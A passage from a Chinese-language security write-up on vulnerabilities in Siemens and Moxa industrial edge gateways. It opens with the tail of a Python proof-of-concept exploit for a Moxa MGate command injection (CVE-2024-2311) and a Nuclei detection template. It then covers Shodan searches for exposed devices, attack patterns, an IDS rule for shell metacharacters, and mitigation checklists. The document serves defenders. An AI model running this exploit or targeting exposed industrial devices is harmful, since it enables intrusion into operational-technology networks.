    print(f"[*] 测试 DestIP 参数命令注入...")
    if test_injection(session, target):
        print("[!] CVE-2024-2311 确认! DestIP 参数存在命令注入")
        return True

    print("[-] 未检测到命令注入")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

Nuclei YAML 检测模板

id: CVE-2024-2311

info:
  name: Moxa MGate 5105-MB-EIP 命令注入RCE
  author: x7peeps
  severity: high
  description: Moxa MGate 5105-MB-EIP协议网关DestIP参数存在OS命令注入漏洞
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2311
  classification:
    cve-id: CVE-2024-2311
    cwe-id: CWE-78
  tags: cve,cve2024,moxa,mgate,command-injection,rce,ics

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/web/login"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "MGate"
          - "5105"
          - "Moxa"
        condition: or
      - type: status
        status:
          - 200

0x03 其他工控边缘设备高危漏洞

Siemens RUGGEDCOM APE1808 FortiGate 漏洞(SSA-698820)

Siemens RUGGEDCOM APE1808 是一款基于 FortiGate 平台的工业防火墙/安全网关,用于 OT 网络边界安全防护。2025 年 Siemens 发布安全公告 SSA-698820,披露了该设备中 FortiGate OS 组件的多个高危漏洞(CVSS 9.0),包括远程代码执行和权限提升。

受 Fortinet FortiOS 漏洞影响,RUGGEDCOM APE1808 在特定版本中存在与 FortiGate 相同的安全缺陷。攻击者可利用已公开的 FortiOS 漏洞利用链,通过恶意 SSL-VPN 请求或 API 调用实现远程代码执行,获取设备完全控制权。

关键信息

项目详情
安全公告SSA-698820
CVSS9.0 (Critical)
影响产品RUGGEDCOM APE1808
缓解措施更新 FortiOS 至 Siemens 认证的最新版本

Siemens SCALANCE W700 WiFi 漏洞(补充)

除 CVE-2022-45059 外,SCALANCE W700 系列还被发现存在与 WiFi 协议栈相关的多个漏洞。802.11ax 驱动层的缓冲区溢出可导致远程代码执行,WPA3 SAE 握手处理中的逻辑缺陷可能导致认证绕过。这些漏洞进一步扩大了无线 OT 网络的攻击面。

缓解建议

  • 立即升级至 V3.0.0 或更高版本
  • 在无法立即升级的场景下,启用 802.1X 认证并限制 WiFi 接入设备白名单
  • 部署无线入侵检测系统(WIDS)监控异常帧

0x04 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVE 编号公开 PoCExploit-DBGitHub备注
CVE-2025-40569授权绕过,需自行构造
CVE-2024-41976VPN 配置注入,需固件逆向
CVE-2022-46140弱加密分析,可参考通用方法
CVE-2022-46142物理访问或 flash dump
CVE-2022-46144TFTP 协议层利用
CVE-2022-34821资源生命周期管理
CVE-2024-9140已有公开 PoC
CVE-2025-0193标准 XSS 利用
CVE-2022-45059部分部分部分多漏洞集合
CVE-2024-2311命令注入利用

关键 PoC 仓库链接

防守型验证思路

在授权渗透测试中验证这些漏洞时,建议采取以下策略:

  1. 资产发现阶段:使用 Shodan/Censys 搜索 port:443 "SCALANCE""MGate" 指纹,确认目标设备型号和固件版本
  2. 版本比对:通过 Web 界面登录页面、HTTP 响应头或 SNMP 采集设备固件版本,与受影响版本列表比对
  3. 漏洞验证:使用本文提供的 Python PoC 脚本进行安全的检测性验证,避免执行破坏性操作
  4. 风险评估:结合设备网络位置(是否在 IT-OT 交界处)和暴露程度(公网/内网),评估漏洞被利用的实际风险

0x05 共性攻击模式分析

通过分析上述 10 个 CVE,可以归纳出 IoT/OT 边缘网关设备的四类共性攻击模式。理解这些模式有助于安全团队从架构层面识别和防范类似漏洞。

模式 1:协议转换层认证绕过

代表漏洞:CVE-2025-40569

协议转换平台通常实现多层认证架构(Web 管理层、协议转发层、设备管理层)。当不同层之间的认证状态未正确同步或授权检查仅在部分层执行时,攻击者可利用权限传递缺陷从低权限层跳转到高权限层。

典型场景

  • guest 角色在 Web 层被限制的操作,通过 API 或协议层可直接执行
  • VPN 认证后的会话 token 被错误地应用于设备管理层
  • 不同管理接口(Web/SSH/SNMP)之间的权限模型不一致

防御要点

  • 实施统一的授权框架,确保所有管理接口共享相同的权限模型
  • 对每个管理操作独立验证用户角色和权限级别
  • 定期审计不同管理接口的权限一致性

模式 2:Web 管理界面授权检查缺失

代表漏洞:CVE-2025-40569、CVE-2025-0193、CVE-2022-45059

工控设备的 Web 管理界面往往关注功能实现而忽视安全编码实践。常见问题包括:仅验证用户是否已认证(authentication)而未验证是否有权执行操作(authorization)、敏感功能端点缺乏访问控制、默认凭据未强制修改。

典型场景

  • 管理 API 端点缺少角色校验中间件
  • 配置备份/恢复功能对所有认证用户开放
  • 默认 guest/admin 凭据在部署后从未修改

防御要点

  • 对所有管理端点实施最小权限原则
  • 部署时强制修改所有默认凭据
  • 在网络层限制 Web 管理界面的访问源 IP

模式 3:调试接口与弱加密暴露

代表漏洞:CVE-2022-46140、CVE-2022-46142、CVE-2022-34821

工控设备在出厂时通常保留调试功能和诊断接口,用于售后维护。然而,这些接口在生产环境中往往未被禁用,且使用的加密保护措施强度不足。弱加密算法和可恢复密码存储为离线攻击提供了便利条件。

典型场景

  • 调试文件下载端点在生产环境中未禁用
  • 密码存储使用可逆加密而非单向哈希
  • 设备 flash 可通过物理接口直接读取

防御要点

  • 生产部署前禁用所有非必要的调试和诊断接口
  • 使用安全启动和 flash 加密保护设备固件和配置
  • 定期轮换设备凭据并使用硬件安全模块(HSM)存储

模式 4:命令注入通过协议转换参数

代表漏洞:CVE-2024-9140、CVE-2024-2311、CVE-2024-41976

协议转换平台需要处理来自多种协议的参数(IP 地址、端口、超时值等),当这些参数被直接传递给操作系统 shell 或脚本执行时,命令注入风险极高。Moxa 设备的多个 CVE 均属于此模式。

典型场景

  • 网络诊断工具(ping、traceroute、DNS 查询)的参数直接拼接到 shell 命令
  • 协议转发配置中的 IP/端口参数未验证格式
  • VPN 配置选项中的脚本参数被原样执行

防御要点

  • 使用参数化 API 代替 shell 命令拼接
  • 对所有用户输入实施严格的白名单验证(IP 地址格式、端口范围等)
  • 使用 subprocess.run(..., shell=False) 或等效的非 shell 执行方式

0x06 应急排查与防守建议

紧急排查清单

排查项检查方法关注重点
设备资产清单Shodan/Censys 搜索 + 内网扫描SCALANCE/RUGGEDCOM/Moxa 型号和固件版本
公网暴露检查搜索引擎 dork + 外部扫描Web 管理界面是否直接暴露在公网
固件版本核对登录设备 Web 界面查看是否在受影响版本范围内
默认凭据检查尝试默认用户名/密码登录guest/admin/admin 等默认组合
调试端点检查访问 /web/debug/ 等路径调试下载功能是否启用
VPN 配置审计检查 OpenVPN 相关配置页面是否存在可疑的脚本参数配置
日志异常分析检查设备认证和操作日志非常规时间的登录和配置变更

日志关键字段表

日志来源关键字段异常指标
SCALANCE/RUGGEDCOM 认证日志auth_user, auth_result, source_ipguest 角色的"do system"操作、非授权 IP 的登录尝试
Moxa 设备日志event_type, user, actionconfig_change 事件中的异常 IP 参数、频繁的诊断操作
网络流量日志src_ip, dst_port, protocol443 端口的异常 POST 请求、TFTP UDP 69 的异常流量
IDS/IPS 命令注入特征payload, match_ruleshell 元字符(; && | `)出现在 HTTP 参数中

紧急缓解措施

  1. 网络隔离:立即将受影响设备的 Web 管理界面从公网撤除,限制为内网堡垒机访问
  2. VPN 加固:禁用受影响设备的 OpenVPN 功能或限制 VPN 配置修改权限至 admin 角色
  3. 凭据轮换:修改所有设备的默认凭据,启用强密码策略
  4. IPS 规则:部署针对已知漏洞特征的 IPS 检测规则
  5. 固件更新:优先更新 CVSS 9.0+ 的设备(Moxa 蜂窝路由器、SCALANCE W700)

长期安全加固建议

  1. 补丁管理:建立 OT 设备固件更新流程,跟踪 Siemens ProductCERT 和 Moxa 安全公告
  2. 网络分层:遵循 IEC 62443 标准实施网络分区分层,在 IT-OT 交界处部署工业防火墙
  3. 资产管理:建立完整的 OT 资产清单,记录每台设备的型号、固件版本和已知漏洞
  4. 访问控制:实施特权访问管理(PAM),对设备管理操作进行审计和录像
  5. 安全监控:在 OT 网络部署工业入侵检测系统(IDS),监控异常工控协议流量
  6. 应急演练:定期开展 OT 安全事件响应演练,确保团队掌握工控设备应急处置流程

0x07 参考资料

  1. Siemens ICSA-25-007-01 - SCALANCE/RUGGEDCOM CVE-2025-40569 Advisory: https://www.cisa.gov/news-events/ics-advisories/icsa-25-007-01
  2. NVD CVE-2025-40569 Detail: https://nvd.nist.gov/vuln/detail/CVE-2025-40569
  3. Siemens ProductCERT SSA-698820 - RUGGEDCOM APE1808: https://cert-portal.siemens.com/productcert/pdf/ssa-698820.pdf
  4. NVD CVE-2024-9140 - Moxa OS Command Injection: https://nvd.nist.gov/vuln/detail/CVE-2024-9140
  5. Moxa Cybersecurity Advisory Page: https://www.moxa.com/en/support/cybersecurity
  6. NVD CVE-2022-46140 - Siemens Weak Cryptographic Algorithm: https://nvd.nist.gov/vuln/detail/CVE-2022-46140
  7. NVD CVE-2022-45059 - Siemens SCALANCE W700 Multiple Vulnerabilities: https://nvd.nist.gov/vuln/detail/CVE-2022-45059
  8. Forescout OT:ICEFALL Research: https://www.forescout.com/research-labs/ot-icefall/
  9. NVD CVE-2024-41976 - Siemens VPN Config Injection: https://nvd.nist.gov/vuln/detail/CVE-2024-41976
  10. NVD CVE-2025-0193 - Moxa MGate Stored XSS: https://nvd.nist.gov/vuln/detail/CVE-2025-0193